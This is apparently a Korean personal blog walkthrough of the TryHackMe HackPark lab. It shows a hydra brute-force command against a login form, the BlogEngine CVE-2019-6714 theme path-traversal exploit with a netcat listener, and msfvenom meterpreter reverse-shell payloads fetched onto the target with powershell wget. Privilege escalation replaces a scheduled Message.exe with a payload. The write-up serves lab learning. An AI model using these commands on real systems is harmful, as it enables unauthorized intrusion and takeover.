HackPack은 따로 포스팅 안하려고 했는데..
이렇게라도 적지 않으면 기억나지 않을 듯 하여 포스팅한다.
(실습 도중 어택박스가 계속 끊겨서 타겟 IP, 어태커IP 변경이 잦다)
TASK 2
1. Login
로그인을 위해 hydra 사용
THM 지시 : hydra -l <username> -P /usr/share/wordlists/<wordlist> <ip> http-post-form
그런데 이대로 작성하면 안되고, 뒤에 좀 더 덧붙여주어야 함.
wordlist는 kali에 기본적으로 주어지는 rockyou.txt를 사용했고, http-post-form 뒤에 덧붙일 것.
* hydra 사용법은 여기를 참고하자
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.78.71 http-post-form "/Account/login.aspx:UserName=^USER^&Password=^PASS^:F=Login failed"
했는데 안되더라. 수정함
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.78.71 http-post-form "/Account/login.aspx:__VIEWSTATE=nH9uFwNjZ8mN0MRUOh0PIlXzsWQGLIxrhJGK05pkHYUYjiBxDsdU6ZW4m9WnUjx9h2Q%2BQCHXZtO%2FA%2BEv5T0TaC6RHp%2Bzx8v%2FReGiKeFyKuJ6HWdjwXaODKPslfXmleBky5%2Bi85aGBpvpAEaW%2Fz8CaqJJmZgFG4YuGijOqL5QU%2BA07W2%2Fl%2FTYGntTfX%2BEVmmID8F%2FMoJ92cmdpqq3PV671k%2FHYcZ2sEGCTqkEk8DENeJEjwXqq5HP6PpA1Pg0ClhNnAolfyi%2B%2FEBagKD%2F5LTt9E%2FArUyut%2FoOCQo3I6R74p5eAvgPaDXh2dw5Pfaf0xaUZEI6uO%2FZ4J5%2Bou1G%2BchaTuGCwhKa%2B%2BjQ%2FVV1GpxU%2Ff5HBlXc&__EVENTVALIDATION=AXszjdRJ1IULY3T4q3Q2j0fEEpPToV325E4OH1B03dFbSjTDTSJ41I4DeB7jDMhMilEc7mat1zyOBXM8jEUgI33Fx5RLwhF4h8H84Gt7jpHUg7Gg2aIEqexT1B5HHXFMMB6aDvjVfkLm5c6SkZpSrvQ%2FjMzqtufxtcwVHZn8x%2FdSyRK4&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed"
요청 시 보내지는 body내용 싹긁어서 넣어줌.
TASK 3
BlogEngine 3.3.6.0 CVE : CVE-2019-6714
[취약점 설명]
1) 기본 테마 재정의하는 데 사용되는 "theme" 파라미터에서 취약점이 발생함.
2) exploit 스크립트 업로드 (ADMIN > CONTENT > Posts > NEW)
- 스크립트 수정 필요
3) 업로드된 파일은 /App_Data_files 디렉터리에 위치함
4) 테마 재정의 시 사용되는 "theme" 파라미터에 해당 업로드 경로를 입력하면 트리거
시도해보자.
1. 스크립트 업로드 (스크립트명: PostView.ascx)
2. nc 리스닝
nc -lnvp 4445
3. Initial Access
http://{ip}/?theme=../../App_Data/files
※ 왜 이러한 취약점이 발생하는가?
문제는 Custom/Controls/PostList.ascx.cs 에서 발생한다. (링크, 현재 패치된 상태)
# 패치 전 128행
var path = string.Format("{0}Custom/Themes/{1}/PostView.ascx", Utils.ApplicationRelativeWebRoot, BlogSettings.Instance.GetThemeWithAdjustments(this.Request.QueryString["theme"]));
C# 코드로, {0} 에 Utils.ApplicationRelativeWebRoot 대입, {1} 에 BlogSettings.Instance.GetThemeWithAdjustments(this.Request.QueryString["theme"]가 대입된다.
설명
* Utils.ApplicationRelativeWebRoot : 웹 루트 상대경로
* BlogSettings.Instance.GetThemeWithAdjustments(this.Request.QueryString["theme"] : 현재 요청의 쿼리 스트링에서 "theme" 매개 변수를 가져와 BlogSettings 클래스의 GetThemeWithAdjustments 메서드에 전달하여 커스텀된 테마를 가져옴
결국 Custom/Themes/{테마}/PostView.ascx 가 path에 대입됨
→ 지정된 테마 디렉토리에서 PostView.ascx 파일을 찾아서 실행
이러한 theme 파라미터에 "../../App_Data/files" 을 전달하면 files에서 PostView.ascx 를 찾아서 실행하는 것이다.
TASK 4 Privilege Escalation
1 .msfvenom 악성 페이로드 생성
meterpreter 획득을 위한 리버스쉘
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.146.18 LPORT=4447 -e x86/shikata_ga_nai -f exe >> shell.exe
2.
1) 웹서버 열기
python3 -m http.server
2) Windows
powershell -c wget "http://{ip}:8889/shell.exe" -outfile "shell.exe"
여기서 살짝 헤맸다. 서버 접근 기록은 남는데 막상 Windows에는 shell.exe 파일이 없었음.
Windows\Temp 로 이동해서 위 명령을 실행하니, 정상적으로 shell.exe 파일이 다운되었다.
3. meterpreter 획득
1) msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST {ip}
set LPORT 4447
run
2) Windows
shell.exe
4. Windows-Exploit-Suggester Windows 취약점 찾기
THM에서 사용하라고 지시한 " Windows-Exploit-Suggester " 파일, 여기에서 다운받을 수 있다,
그러나...
하다보니 화가 나는군..
그냥 저번에 썼던 winPEAS랑 비슷한 도구같다. 이걸 써보자 (링크)
1) winPEAS.exe
#1.
powershell -c wget "http://10.10.146.18:8889/winPEASx64.exe" -outfile " winPEAS.exe"
#2.
winPEAS.exe
2) 서비스 확인
winPEAS.exe servicesinfo
이자식이 조금 수상하다.
THM에서 바이너리명을 입력하라 하는데, WService.exe가 아니라고 한다.
Hint. have you checked for logs for the abnormal service?
3) FIND Logs
멍청해서 로그파일 위치를 한참 찾았다.
winPEAS.exe servicesinfo 출력결과에 디렉터리 경로가 나와있는 줄도 모르고..
C:\Program Files (x86)\SystemSchduler\Events
바이너리명은 Message.exe.
Administrator 권한으로 1분마다 실행되는 것 같다.
5. Privilege Escalation
1) msfvenom 악성 페이로드 생성
권한 상승을 위한 리버스쉘
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.193.92 LPORT=4448 -e x86/shikata_ga_nai -f exe -o Message.exe
2) 타겟에 업로드 (경로 : C:\Program Files (x86)\SystemSchduler)
원본 Message.exe는 이름을 변경해 둔 상태(ren Message.exe Message_backup.exe)
3) meterpreter 획득
nc 리스닝해놓고 대기 (약 1분)
4)
6. 플래그 찾기
TASK 5 Privilege Escalation Without Metasploit
그냥 위 과정을 메타스플로잇 없이 하면 된다.
1. msfvenom
리버스쉘 프로그램 만들기
2. nc 리스닝
3. WinPeas 업로드해서 취약점 찾기
- C:\Windows\Temp 에 업로드
4. msfvenom로 message.exe 만들기
5. message.exe 업로드
6. nc 리스닝
7. 권한상승 성공
아무리봐도 똑같은 프로세스...
매타스플로잇 사용하는 부분이라고 해봤자.. 리버스쉘 모듈 사용해서 meterpreter 따는 것 말고 더 있나?
※ Using winPeas, what was the Original Install time? (This is date and time)
이상하게도 winPEAS.exe 통해서는 Original Install time을 확인할 수 없었다. (winPEAS.exe systeminfo)
그래서 winPEAS.bat을 업로드하여 실행했으나.. 옵션이 존재하지 않는지 먹히지 않았고, 빠르게 지나갔기 때문에 타이밍 맞춰서 Ctrl + C 로 퓨즈시켜서 확인하였다.
'Play > THM' 카테고리의 다른 글
Windows Local Persistence (1) (0) | 2023.09.25 |
---|---|
THM Offensive Pentesting - Gamezone (0) | 2023.07.20 |
THM Offensive Pentesting - Alfred (3) | 2023.07.18 |
THM Offensive Pentesting - Steel Mountain (0) | 2023.07.18 |
THM Offensive Pentesting - Kenobi (0) | 2023.07.17 |